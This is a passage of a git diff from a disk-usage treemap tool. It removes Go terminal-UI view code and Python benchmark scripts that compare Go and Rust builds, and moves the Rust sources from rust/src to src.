textutil.SignedSize(m.opts.Diff.Delta(id, m.sizeMode)) - } - } - cols := []column{{"SIZE", 10, true, false}, {"%", 5, true, false}, {"", 12, false, false}, {"FILES", 10, true, false}, {"MODIFIED", 10, false, false}, {"NAME", 0, false, false}} - if m.opts.Diff != nil { - cols[4] = column{"CHANGE", 12, true, false} - } - if r.W < 70 { - cols = []column{{"SIZE", 10, true, false}, {"%", 5, true, false}, {"NAME", 0, false, false}} - for i := range rows { - rows[i].cells = []string{rows[i].cells[0], rows[i].cells[1], rows[i].cells[5]} - rows[i].styles = []*Style{nil, rows[i].styles[1], rows[i].styles[5]} - } - } - v.tb.paint(m, cv, r, cols, rows, "") - v.sync(m) -} - -func (v *listView) key(m *Model, k string) (bool, tea.Cmd) { - v.sync(m) - defer v.sync(m) - return v.tb.key(k, len(m.kidsOf(m.zoom).ids)), nil -} - -func (v *listView) wheel(m *Model, up bool) tea.Cmd { - v.sync(m) - v.tb.scroll(up, len(m.kidsOf(m.zoom).ids)) - v.sync(m) - return nil -} - -// ---- Extension statistics ------------------------------------------------ - -type extView struct { - tb table - cache []inventory.ExtStat - cacheKey [2]int -} - -func (*extView) name() string { return "Types" } - -func (v *extView) stats(m *Model) []inventory.ExtStat { - k := [2]int{int(m.zoom), m.dataVer*2 + int(m.sizeMode)} - if v.cache == nil || v.cacheKey != k { - v.cache = m.tree.ExtStats(m.zoom) - sort.Slice(v.cache, func(i, j int) bool { - a, b := v.cache[i], v.cache[j] - as, bs := a.Alloc, b.Alloc - if m.sizeMode == inventory.SizeLogical { - as, bs = a.Size, b.Size - } - if as != bs { - return as > bs - } - return a.Ext < b.Ext - }) - v.cacheKey = k - } - return v.cache -} - -func (v *extView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - st := v.stats(m) - var total int64 - for _, s := range st { - total += pick(m, s) - } - rows := make([]tableRow, len(st)) - for i, s := range st { - ext := "." + s.Ext - if s.Ext == "" { - ext = "(none)" - } - col := t.Cat[s.Cat] - if c, ok := t.Ext[s.Ext]; ok { - col = c - } - frac := 0.0 - if v0 := pick(m, st[0]); v0 > 0 { - frac = float64(pick(m, s)) / float64(v0) - } - rows[i] = tableRow{ - cells: []string{textutil.Sanitize(ext), s.Cat.String(), textutil.Count(s.Count), textutil.Size(pick(m, s)), textutil.Percent(pick(m, s), total), ""}, - styles: []*Style{{FG: col, BG: t.Bg, Attr: Bold}, {FG: t.Muted, BG: t.Bg}, nil, nil, {FG: t.Muted, BG: t.Bg}, nil}, - bar: frac, barCol: col, - } - } - cols := []column{{"EXTENSION", 14, false, false}, {"CATEGORY", 12, false, false}, {"FILES", 11, true, false}, {"SIZE", 10, true, false}, {"%", 5, true, false}, {"", 0, false, false}} - v.tb.paint(m, cv, r, cols, rows, fmt.Sprintf("File types under %s — Enter filters the map by extension", textutil.Sanitize(m.tree.Node(m.zoom).Name))) -} - -func pick(m *Model, s inventory.ExtStat) int64 { - if m.sizeMode == inventory.SizeLogical { - return s.Size - } - return s.Alloc -} - -func (v *extView) key(m *Model, k string) (bool, tea.Cmd) { - st := v.stats(m) - if v.tb.key(k, len(st)) { - return true, nil - } - if (k == "enter" || k == "space") && v.tb.cursor < len(st) { - e := st[v.tb.cursor].Ext - q := "ext = \"" + e + "\"" - if e == "" { - q = "type = file AND ext = \"\"" - } - m.setViewByName("Map") - return true, m.setFilter(q) - } - return false, nil -} - -func (v *extView) wheel(m *Model, up bool) tea.Cmd { - v.tb.scroll(up, len(v.stats(m))) - return nil -} - -// ---- Top-N investigation views -------------------------------------------- - -type topMode int - -const ( - topFiles topMode = iota - topDirs - topOld - topNew - topCount - topSparse - topHardlinks - numTopModes -) - -var topNames = [...]string{"Largest files", "Largest directories (own files)", "Oldest large files", - "Newest large files", "Most files", "Sparse files", "Hard-linked files"} - -type topView struct { - tb table - mode topMode - ids []inventory.NodeID - vals []int64 - cacheKey [3]int - limit int -} - -func (*topView) name() string { return "Top" } - -const topLimit = 500 - -func (v *topView) compute(m *Model) { - k := [3]int{int(m.zoom), m.dataVer*2 + int(m.sizeMode), int(v.mode)} - if v.ids != nil && v.cacheKey == k { - return - } - v.cacheKey = k - tr := m.tree - isFile := func(n *inventory.Node) bool { - return n.Kind == inventory.KindFile && n.Flags&(inventory.FlagHardlinkDup|inventory.FlagDeleted) == 0 - } - matches := func(id inventory.NodeID) bool { - return m.search.result == nil || m.search.result.Size(id) > 0 - } - tk := inventory.NewTopK(topLimit) - val := map[inventory.NodeID]int64{} - const largeFile = 1 << 20 - switch v.mode { - case topDirs: - own := map[inventory.NodeID]int64{} - tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool { - if isFile(n) && matches(id) { - own[n.Parent] += n.Own(m.sizeMode) - } - return true - }) - for id, s := range own { - tk.Offer(id, s) - val[id] = s - } - case topCount: - tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool { - if n.IsDir() && matches(id) { - c := int64(tr.ChildCount(id)) - tk.Offer(id, c) - val[id] = c - } - return true - }) - default: - tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool { - if !isFile(n) || !matches(id) { - return true - } - sz := n.Own(m.sizeMode) - switch v.mode { - case topFiles: - tk.Offer(id, sz) - val[id] = sz - case topOld, topNew: - if sz >= largeFile && n.MTime > 0 { - key := n.MTime - if v.mode == topOld { - key = -key - } - tk.Offer(id, key) - val[id] = sz - } - case topSparse: - if n.Flags&inventory.FlagSparse != 0 { - tk.Offer(id, n.Size-n.Alloc) - val[id] = n.Size - n.Alloc - } - case topHardlinks: - if n.Flags&inventory.FlagHardlinked != 0 { - tk.Offer(id, n.Size) - val[id] = n.Size - } - } - return true - }) - } - v.ids = tk.Sorted() - v.vals = v.vals[:0] - for _, id := range v.ids { - v.vals = append(v.vals, val[id]) - } -} - -func (v *topView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - v.compute(m) - rows := make([]tableRow, len(v.ids)) - var first int64 - if len(v.vals) > 0 { - first = v.vals[0] - } - for i, id := range v.ids { - n := m.tree.Node(id) - val := textutil.Size(v.vals[i]) - if v.mode == topCount { - val = textutil.Count(v.vals[i]) - } - mod := "" - if n.MTime > 0 { - mod = time.Unix(0, n.MTime).Format("2006-01-02") - } - frac := 0.0 - if first > 0 && v.mode != topOld && v.mode != topNew { - frac = float64(v.vals[i]) / float64(first) - } - col := m.colorOf(int64(id)) - rows[i] = tableRow{ - cells: []string{val, mod, "", textutil.Sanitize(m.tree.Path(id))}, - styles: []*Style{nil, {FG: t.Muted, BG: t.Bg}, nil, {FG: col.Mix(t.Fg, 0.45), BG: t.Bg}}, - bar: frac, barCol: col, - } - } - title := fmt.Sprintf("◂ %s ▸ (←/→ change list · Enter details · Space jump to it)", topNames[v.mode]) - if m.search.result != nil { - title += " · filtered" - } - valTitle := "SIZE" - switch v.mode { - case topCount: - valTitle = "ENTRIES" - case topSparse: - valTitle = "SAVED" - } - cols := []column{{valTitle, 10, true, false}, {"MODIFIED", 10, false, false}, {"", 10, false, false}, {"PATH", 0, false, true}} - v.tb.paint(m, cv, r, cols, rows, title) -} - -func (v *topView) key(m *Model, k string) (bool, tea.Cmd) { - v.compute(m) - switch k { - case "left", "h": - v.mode = (v.mode + numTopModes - 1) % numTopModes - v.tb.cursor = 0 - return true, nil - case "right", "l": - v.mode = (v.mode + 1) % numTopModes - v.tb.cursor = 0 - return true, nil - } - if v.tb.key(k, len(v.ids)) { - return true, nil - } - if v.tb.cursor < len(v.ids) { - id := v.ids[v.tb.cursor] - switch k { - case "enter": - m.openModal(newInfoModal(m, id)) - return true, nil - case "space": - m.jumpTo(id) - return true, nil - case "c", "o", "d": - m.sel = int64(id) - } - } - return false, nil -} - -func (v *topView) wheel(m *Model, up bool) tea.Cmd { - v.tb.scroll(up, len(v.ids)) - return nil -} - -// ---- Snapshot comparison ----------------------------------------------------- - -type changesView struct { - tb table - rows []snapshot.Change - cacheKey int -} - -func (*changesView) name() string { return "Changes" } - -func (v *changesView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - d := m.opts.Diff - if v.rows == nil || v.cacheKey != int(m.sizeMode) { - v.rows = d.Changes(1000, m.sizeMode) - v.cacheKey = int(m.sizeMode) - } - var maxAbs int64 = 1 - for _, c := range v.rows { - maxAbs = max(maxAbs, abs64(c.Delta)) - } - rows := make([]tableRow, len(v.rows)) - for i, c := range v.rows { - col := map[snapshot.Status]Color{snapshot.Added: t.DiffNew, snapshot.Removed: t.Muted, - snapshot.Grew: t.DiffGrow, snapshot.Shrank: t.DiffShrink}[c.Status] - rows[i] = tableRow{ - cells: []string{textutil.SignedSize(c.Delta), c.Status.String(), textutil.Size(c.Old), textutil.Size(c.New), "", textutil.Sanitize(c.Path)}, - styles: []*Style{{FG: col, BG: t.Bg, Attr: Bold}, {FG: col, BG: t.Bg}, {FG: t.Muted, BG: t.Bg}, nil, nil, nil}, - bar: float64(abs64(c.Delta)) / float64(maxAbs), barCol: col, - } - } - cols := []column{{"CHANGE", 13, true, false}, {"STATUS", 9, false, false}, {"OLD", 10, true, false}, {"NEW", 10, true, false}, - {"", 10, false, false}, {"PATH", 0, false, true}} - ro, rn := d.Old.Node(0).Total(m.sizeMode), d.New.Node(0).Total(m.sizeMode) - title := fmt.Sprintf("Changes %s → %s (%s)", textutil.Size(ro), textutil.Size(rn), textutil.SignedSize(rn-ro)) - v.tb.paint(m, cv, r, cols, rows, title) -} - -func abs64(v int64) int64 { - if v < 0 { - return -v - } - return v -} - -func (v *changesView) key(m *Model, k string) (bool, tea.Cmd) { - if v.tb.key(k, len(v.rows)) { - return true, nil - } - if v.tb.cursor < len(v.rows) { - c := v.rows[v.tb.cursor] - if c.Node == inventory.NoNode { - if k == "enter" || k == "space" { - return true, m.info("Removed since the old snapshot: " + textutil.Sanitize(c.Path)) - } - return false, nil - } - switch k { - case "enter": - m.openModal(newInfoModal(m, c.Node)) - return true, nil - case "space": - m.jumpTo(c.Node) - return true, nil - } - } - return false, nil -} - -func (v *changesView) wheel(m *Model, up bool) tea.Cmd { - v.tb.scroll(up, len(v.rows)) - return nil -} diff --git a/rust/.gitignore b/rust/.gitignore deleted file mode 100644 index ea8c4bf..0000000 --- a/rust/.gitignore +++ /dev/null @@ -1 +0,0 @@ -/target diff --git a/rust/bench/compare.py b/rust/bench/compare.py deleted file mode 100755 index 967d749..0000000 --- a/rust/bench/compare.py +++ /dev/null @@ -1,49 +0,0 @@ -#!/usr/bin/env python3 -"""Times the Go and Rust mapsize binaries on the same command lines. - - rust/bench/compare.py GO_BIN RUST_BIN PATH [RUNS] - -Runs are interleaved (go, rust, go, rust, …) after one untimed warm-up each, -so both see the same page-cache state. Reports median and best wall time and -median peak RSS per scenario as a Markdown table. Linux only (/usr/bin/time). -""" -import os, statistics, subprocess, sys, tempfile - -go, rust, path = sys.argv[1:4] -runs = int(sys.argv[4]) if len(sys.argv) > 4 else 7 -tmp = tempfile.mkdtemp(prefix="mapsize-bench-") -snap = {"go": os.path.join(tmp, "go.msz"), "rust": os.path.join(tmp, "rust.msz")} -bins = {"go": go, "rust": rust} - -def timed(argv): - r = subprocess.run(["/usr/bin/time", "-f", "%e %M"] + argv, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True) - if r.returncode != 0: - sys.exit(f"failed: {' '.join(argv)}\n{r.stderr}") - secs, kb = r.stderr.strip().splitlines()[-1].split() - return float(secs), int(kb) / 1024 - -scenarios = [(f"scan, {w} workers", lambda b, w=w: [bins[b], "--no-ui", "--workers", str(w), path]) for w in (1, 8, 32)] -scenarios += [ - ("scan + save snapshot", lambda b: [bins[b], "--no-ui", "--save", snap[b], path]), - ("load own snapshot", lambda b: [bins[b], "--no-ui", snap[b]]), - ("load Go snapshot", lambda b: [bins[b], "--no-ui", snap["go"]]), - ("scan + JSON export", lambda b: [bins[b], "--json", path]), - ("scan + top 50 largest files", lambda b: [bins[b], "--largest-files", "50", path]), -] - -print(f"Path: `{path}`, {runs} interleaved runs per binary, warm cache\n") -print("| scenario | Go median | Rust median | Go best | Rust best | Go RSS | Rust RSS | speed-up |") -print("|---|---:|---:|---:|---:|---:|---:|---:|") -for name, mk in scenarios: - argv = {k: mk(k) for k in bins} - res = {k: [] for k in bins} - for k in bins: - timed(argv[k]) # warm-up (also creates the snapshot files) - for _ in range(runs): - for k in bins: - res[k].append(timed(argv[k])) - med = {k: statistics.median(t for t, _ in v) for k, v in res.items()} - best = {k: min(t for t, _ in v) for k, v in res.items()} - rss = {k: statistics.median(m for _, m in v) for k, v in res.items()} - print(f"| {name} | {med['go']:.2f} s | {med['rust']:.2f} s | {best['go']:.2f} s | {best['rust']:.2f} s " - f"| {rss['go']:.0f} MB | {rss['rust']:.0f} MB | {med['go'] / med['rust']:.2f}× |", flush=True) diff --git a/rust/bench/micro.py b/rust/bench/micro.py deleted file mode 100755 index 27f4749..0000000 --- a/rust/bench/micro.py +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python3 -"""Runs the Go `go test -bench` suite and the Rust bench example -interleaved for several rounds and prints the best time per op of each. - - rust/bench/micro.py GO_TUI_TEST GO_TREEMAP_TEST RUST_BENCH [ROUNDS] - -Build the inputs with `go test -c ./internal/tui`, `go test -c -./internal/treemap` and `cargo build --release --example bench`. The Go tui -test binary must run from internal/tui, so run this from the repo root. -""" -import re, subprocess, sys - -go_tui, go_tm, rust = sys.argv[1:4] -rounds = int(sys.argv[4]) if len(sys.argv) > 4 else 5 -names = { # rust name -> go name - "treemap/Squarify(300)": "Squarify", "treemap/Neighbour(300)": "Neighbour", - "tui/BigColdFrame": "BigColdFrame", "tui/BigResize": "BigResize", - "tui/BigFlatDirCold": "BigFlatDirCold", "tui/BigNavigate": "BigNavigate", - "tui/BigFilter/size > 1MB": "BigFilter/size_>_1MB", - "tui/BigFilter/*.dat AND size > 500k": "BigFilter/*.dat_AND_size_>_500k", - "tui/BigFilter/path contains sub3": "BigFilter/path_contains_sub3", -} -unit = {"ns": 1e-9, "µs": 1e-6, "ms": 1e-3, "s": 1} -go_best, rust_best = {}, {} - -def keep(d, k, v): - d[k] = min(d.get(k, v), v) - -for _ in range(rounds): - for exe, cwd in ((go_tui, "internal/tui"), (go_tm, "internal/treemap")): - out = subprocess.run([exe, "-test.run=NONE", "-test.bench=.", "-test.benchtime=1s"], cwd=cwd, capture_output=True, text=True).stdout - for m in re.finditer(r"^Benchmark(\S+?)-\d+\s+\d+\s+([\d.]+) ns/op", out, re.M): - keep(go_best, m[1], float(m[2]) * 1e-9) - out = subprocess.run([rust], capture_output=True, text=True).stdout - for m in re.finditer(r"^(\S.*?)\s+\d+ ops\s+([\d.]+)(ns|µs|ms|s)/op", out, re.M): - keep(rust_best, m[1].strip(), float(m[2]) * unit[m[3]]) - -def fmt(s): - return f"{s * 1e6:.1f} µs" if s < 1e-3 else f"{s * 1e3:.2f} ms" - -print(f"Best of {rounds} interleaved rounds\n") -print("| benchmark | Go | Rust | speed-up |\n|---|---:|---:|---:|") -for r, g in names.items(): - if r in rust_best and g in go_best: - print(f"| {r} | {fmt(go_best[g])} | {fmt(rust_best[r])} | {go_best[g] / rust_best[r]:.2f}× |") diff --git a/rust/src/app.rs b/src/app.rs similarity index 100% rename from rust/src/app.rs rename to src/app.rs diff --git a/rust/src/brand.rs b/src/brand.rs similarity index 100% rename from rust/src/brand.rs rename to src/brand.rs diff --git a/rust/src/cancel.rs b/src/cancel.rs similarity index 100% rename from rust/src/cancel.rs rename to src/cancel.rs diff --git a/rust/src/config.rs b/src/config.rs similarity index 100% rename from rust/src/config.rs rename to src/config.rs diff --git a/rust/src/duplicate.rs b/src/duplicate.rs similarity index 100% rename from rust/src/duplicate.rs rename to src/duplicate.rs diff --git a/rust/src/export.rs b/src/export.rs similarity index 100% rename from rust/src/export.rs rename to src/export.rs diff --git a/rust/src/filter/apply.rs b/src/filter/apply.rs similarity index 100% rename from rust/src/filter/apply.rs rename to src/filter/apply.rs diff --git a/rust/src/filter/eval.rs b/src/filter/eval.rs similarity index 100% rename from rust/src/filter/eval.rs rename to src/filter/eval.rs diff --git a/rust/src/filter/lexer.rs b/src/filter/lexer.rs similarity index 100% rename from rust/src/filter/lexer.rs rename to src/filter/lexer.rs diff --git a/rust/src/filter/mod.rs b/src/filter/mod.rs similarity index 100% rename from rust/src/filter/mod.rs rename to src/filter/mod.rs diff --git a/rust/src/filter/parser.rs b/src/filter/parser.rs similarity index 100% rename from rust/src/filter/parser.rs rename to src/filter/parser.rs diff --git a/rust/src/inventory/category.rs b/src/inventory/category.rs similarity index 100% rename from rust/src/inventory/category.rs rename to src/inventory/category.rs diff --git a/rust/src/inventory/mod.rs b/src/inventory/mod.rs similarity index 100% rename from rust/src/inventory/mod.rs rename to src/inventory/mod.rs diff --git a/rust/src/inventory/query.rs b/src/inventory/query.rs similarity index 100% rename from rust/src/inventory/query.rs rename to src/inventory/query.rs diff --git a/rust/src/inventory/stats.rs b/src/inventory/stats.rs similarity index 100% rename from rust/src/inventory/stats.rs rename to src/inventory/stats.rs diff --git a/rust/src/lib.rs b/src/lib.rs similarity index 100% rename from rust/src/lib.rs rename to src/lib.rs diff --git a/rust/src/main.rs b/src/main.rs similarity index 100% rename from rust/src/main.rs rename to src/main.rs diff --git a/rust/src/platform.rs b/src/platform.rs similarity index 100% rename from rust/src/platform.rs rename to src/platform.rs diff --git a/rust/src/scan.rs b/src/scan.rs similarity index 100% rename from rust/src/scan.rs rename to src/scan.rs diff --git a/rust/src/snapshot/compare.rs b/src/snapshot/compare.rs similarity index 100% rename from rust/src/snapshot/compare.rs rename to src/snapshot/compare.rs diff --git a/rust/src/snapshot/mod.rs b/src/snapshot/mod.rs similarity index 100% rename from rust/src/snapshot/mod.rs rename to src/snapshot/mod.rs diff --git a/rust/src/snapshot/testdata/go.msz b/src/snapshot/testdata/go.msz similarity index 100% rename from rust/src/snapshot/testdata/go.msz rename to src/snapshot/testdata/go.msz diff --git a/rust/src/textutil.rs b/src/textutil.rs similarity index 100% rename from rust/src/textutil.rs rename to src/textutil.rs diff --git a/rust/src/treemap/mod.rs b/src/treemap/mod.rs similarity index 100% rename from rust/src/treemap/mod.rs rename to src/treemap/mod.rs diff --git a/rust/src/treemap/nav.rs b/src/treemap/nav.rs similarity index 100% rename from rust/src/treemap/nav.rs rename to src/treemap/nav.rs diff --git a/rust/src/tui/actions.rs b/src/tui/actions.rs similarity index 100% rename from rust/src/tui/actions.rs rename to src/tui/actions.rs diff --git a/rust/src/tui/bench.rs b/src/tui/bench.rs similarity index 100% rename from rust/src/tui/bench.rs rename to src/tui/bench.rs diff --git a/rust/src/tui/canvas.rs b/src/tui/canvas.rs similarity index 100% rename from rust/src/tui/canvas.rs rename to src/tui/canvas.rs diff --git a/rust/src/tui/color256.rs b/src/tui/color256.rs similarity index 100% rename from rust/src/tui/color256.rs rename to src/tui/color256.rs diff --git a/rust/src/tui/data.rs b/src/tui/data.rs similarity index 100% rename from rust/src/tui/data.rs rename to src/tui/data.rs diff --git a/rust/src/tui/infoview.rs b/src/tui/infoview.rs similarity index 100% rename from rust/src/tui/infoview.rs rename to src/tui/infoview.rs diff --git a/rust/src/tui/keys.rs b/src/tui/keys.rs similarity index 100% rename from rust/src/tui/keys.rs rename to src/tui/keys.rs diff --git a/rust/src/tui/mapview.rs b/src/tui/mapview.rs similarity index 100% rename from rust/src/tui/mapview.rs rename to src/tui/mapview.rs diff --git a/rust/src/tui/mod.rs b/src/tui/mod.rs similarity index 100% rename from rust/src/tui/mod.rs rename to src/tui/mod.rs diff --git a/rust/src/tui/modal.rs b/src/tui/modal.rs similarity index 100% rename from rust/src/tui/modal.rs rename to src/tui/modal.rs diff --git a/rust/src/tui/modals.rs b/src/tui/modals.rs similarity index 100% rename from rust/src/tui/modals.rs rename to src/tui/modals.rs diff --git a/rust/src/tui/model.rs b/src/tui/model.rs similarity index 100% rename from rust/src/tui/model.rs rename to src/tui/model.rs diff --git a/rust/src/tui/mouse.rs b/src/tui/mouse.rs similarity index 100% rename from rust/src/tui/mouse.rs rename to src/tui/mouse.rs diff --git a/rust/src/tui/render.rs b/src/tui/render.rs similarity index 100% rename from rust/src/tui/render.rs rename to src/tui/render.rs diff --git a/rust/src/tui/run.rs b/src/tui/run.rs similarity index 100% rename from rust/src/tui/run.rs rename to src/tui/run.rs diff --git a/rust/src/tui/search.rs b/src/tui/search.rs similarity index 100% rename from rust/src/tui/search.rs rename to src/tui/search.rs diff --git a/rust/src/tui/side.rs b/src/tui/side.rs similarity index 100% rename from rust/src/tui/side.rs rename to src/tui/side.rs diff --git a/rust/src/tui/table.rs b/src/tui/table.rs similarity index 100% rename from rust/src/tui/table.rs rename to src/tui/table.rs diff --git a/rust/src/tui/tests.rs b/src/tui/tests.rs similarity index 100% rename from rust/src/tui/tests.rs rename to src/tui/tests.rs diff --git a/rust/src/tui/theme.rs b/src/tui/theme.rs similarity index 100% rename from rust/src/tui/theme.rs rename to src/tui/theme.rs diff --git a/rust/src/tui/views.rs b/src/tui/views.rs similarity index 100% rename from rust/src/tui/views.rs rename to src/tui/views.rs